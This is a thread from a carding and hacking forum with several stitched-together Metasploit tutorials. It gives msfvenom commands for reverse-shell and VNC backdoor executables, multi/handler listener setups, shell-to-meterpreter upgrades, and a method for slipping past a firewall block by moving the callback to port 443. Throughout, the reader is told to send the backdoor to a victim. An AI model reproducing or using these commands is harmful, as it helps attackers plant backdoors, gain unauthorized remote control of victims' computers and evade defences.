![]() |
|
[Guide] How to Shell to Meterpreter using Session Command - Printable Version +- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc) +-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone) +--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home) +--- Thread: [Guide] How to Shell to Meterpreter using Session Command (/Thread-Guide-How-to-Shell-to-Meterpreter-using-Session-Command) |
[Guide] How to Shell to Meterpreter using Session Command - NINZA - 04-26-2020 In [To see content please register here] article, we have seen how to upgrade a command shell into meterpreter using Post exploitation in Metasploit. Again we are going to perform the same task using a different technique.Let’s Begin msf auxiliary(telnet_login) >sessions 1 msf auxiliary(telnet_login) >sessions In the following screenshot, you can perceive that it is showing the TYPE for session 1: shell. ![]() Once you got the reverse connection of remote system and access its command shell through Metasploit now you can manipulate your active sessions. You just need to type sessions command inside Metasploit, this help command will display the multiple options which can be utilized with an active session. msf auxiliary(telnet_login) >sessions -h 1 msf auxiliary(telnet_login) >sessions -h So in the following screenshot, you can perceive that the highlighted option is used to upgrade a command shell into meterpreter session. ![]() Since we have command shell so here we can use “-u” (option) with the session ID for upgrading our shell into meterpreter session. Execute the following command for session manipulation. msf auxiliary(telnet_login) >sessions –u 1 1 msf auxiliary(telnet_login) >sessions –u 1 When you will execute the above command you will get meterpreter session as session 2. Now enjoy your meterpreter session and execute its command. msf auxiliary(telnet_login) >sessions 1 msf auxiliary(telnet_login) >sessions ![]() Today in this article we’ll try to compromise the target using VNCpayload. In this tutorial, you’ll learn how to create a VNC payload using msfvenom and try to achieve a VNC shell of a victim’s PC. Open the terminal in your Kali Linux and type following command to generate a VNC payload using the msfvenom command. msfvenom –p windows/vncinject/reverse_tcp lhost=192.168.1.15 lport=4444 –f exe > /root/Desktop/vnc.exe 1 msfvenom –p windows/vncinject/reverse_tcp lhost=192.168.1.15 lport=4444 –f exe > /root/Desktop/vnc.exe Now the above command will generate an exe file for the VNC payload on the desktop of Kali Linux. Being an attack you need to send this backdoor to the target and start multi handler in the Metasploit framework ![]() use multi/handler msf exploit(handler) > set payload windows/vncinject/reverse_tcp msf exploit(handler) > set lhost 192.168.1.15 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit 1 2 3 4 5 use multi/handler msf exploit(handler) > set payload windows/vncinject/reverse_tcp msf exploit(handler) > set lhost 192.168.1.15 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit ![]() Now attacker tries to connect with the target using VNC payload, from given screenshot you can see it has launched vncviewer and we have our session 1 is running at background. ![]() ![]() In network penetration testing, we always wish to hack a system of an internal network and try to make unauthorized access through a meterpreter session using the Metasploit framework. But there are some exploits which will directly provide victim’s command shell instead of meterpreter session. In this article, we have tried to upgrade from the victim’s shell to a meterpreter shell. Now once we have access to victims command shell then follow the steps given below to upgrade a command shell into the meterpreter shell. Here I already have access to command shell of victim’s PC ![]() So now we can use “-u” (option) with the session ID for upgrading our shell into meterpreter session. Execute the following command for session manipulation. sessions -u 1 1 sessions -u 1 ![]() Other Way This module attempts to upgrade a command shell to meterpreter. The shell platform is automatically detected and the best version of meterpreter for the target is selected. use post/multi/manage/shell_to_meterpreter msf post(shell_to_meterpreter) > set session 1 msf post(shell_to_meterpreter) > exploit 1 2 3 use post/multi/manage/shell_to_meterpreter msf post(shell_to_meterpreter) > set session 1 msf post(shell_to_meterpreter) > exploit ![]() In previous the firewall penetration testing article you might have read how the firewall is used for blocking any particular port in a network to prevent hackers or malicious software from gaining access to your PC. This article is written to describe how an attacker can bypass firewall rules and try to make unauthorized access of the victim’s PC. Target: Windows PC Attacker: Kali Linux Let’s start!!! Open window firewall control panel and select Advance setting to configure firewall rules as shown in the screenshot. ![]() Go to outbound rules to configure a new rule for the firewall to add security layer in the network to secure it from attackers. ![]() Select the type of firewall rule to be created a click radio button for option Port that controls connections for a TCP and UDP port then click on next. ![]() Now specify the protocol and port to which rule is applied, therefore, I choose TCP and then specify port 4444 on which this rule will apply and then click on next. ![]() Select the radio button to block the connection when a connection matches to the condition specified condition. ![]() Select all checkboxes when this rule applies. ![]() Here give the name to your own specified rule. You can see in the screenshot I had named it to block port 4444 and then click on finished. ![]() Here you can see the new outbound rule is added into the list of outbound rules. Hence victim has defended himself from establishing a connection with port 4444, now if an attacker tries to connect with the victim through port 4444 then it might be possible that the attacker doesn’t receive any reverse connection. ![]() Now let’s examine when an attacker tries to send the malicious file using port 4444, will it work or not. Does an attacker able to receive reverse connection of victim’s pc? Here I have generated a malicious file using msfvenom in the format of the .exe file and then send this 4444.exe file to victim and start multi handler at the background. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe > /root/Desktop/4444.exe 1 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe > /root/Desktop/4444.exe Now let’s find whether we will succeed or get failed to achieve reverse connection of victims PC ![]() use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.102 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit 1 2 3 4 5 use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.102 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit OOPS!!! No response It means we get failed in establishing a connection between victim and attacker. Now as we know the victim has protected himself from connecting with port 4444. ![]() Now, whenever you face such type of restriction for establishing a connection with victim then do not get disappointed think twice what is the aim of an attack? He only wants to trap the victim and want to establish a connection. Now send your malicious file on those ports which always left open for incoming and outgoing connection. For example port 80, port 443, port 445 and etc. When again an attacker tries to send a malicious file using port 443. Does an attacker able to receive reverse connection of victim’s pc? msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.102 lport=443 -f exe > /root/Desktop/443.exe 1 msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.102 lport=443 -f exe > /root/Desktop/443.exe Start multi handler and send 443.exe to the victim. ![]() use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_http msf exploit(handler) > set lhost 192.168.1.102 msf exploit(handler) > set lport 443 msf exploit(handler) > exploit 1 2 3 4 5 use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_http msf exploit(handler) > set lhost 192.168.1.102 msf exploit(handler) > set lport 443 msf exploit(handler) > exploit GREAT!!! Attack is successful We successfully got a meterpreter session of victim’s PC inside the Metasploit framework.
|